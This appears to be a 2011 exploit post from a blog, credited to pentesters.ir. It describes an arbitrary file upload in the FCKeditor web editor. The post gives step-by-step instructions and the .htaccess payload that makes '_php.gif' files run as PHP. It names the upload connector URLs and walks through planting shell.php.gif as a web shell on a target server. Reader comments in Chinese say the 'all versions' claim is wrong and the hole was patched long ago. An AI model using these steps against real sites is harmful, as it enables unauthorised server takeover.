In The Name Of GOD
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : WwW.PenTesters.IR
---------------------------------------------------------
1.create a htaccess file:


<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>


2.Now upload this htaccess with FCKeditor.

http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
----------------------------------------------------------------------------------------------
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server.
---------------------------------------------------------
Tags: , ,
Bug&Exp | Comments(3) | Trackbacks(0) | Reads(31609)
19c30k5w Email Homepage
December 5, 2011 22:25
写得不错,支持下楼主!
Lost Email
August 11, 2011 09:14
很好奇,第一个文件怎么建?
xiaok
August 10, 2011 19:18
大哥..不是all versian...更不是all version..这个漏洞老早就修补了...orz
Pages: 1/1 First page 1 Final page
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive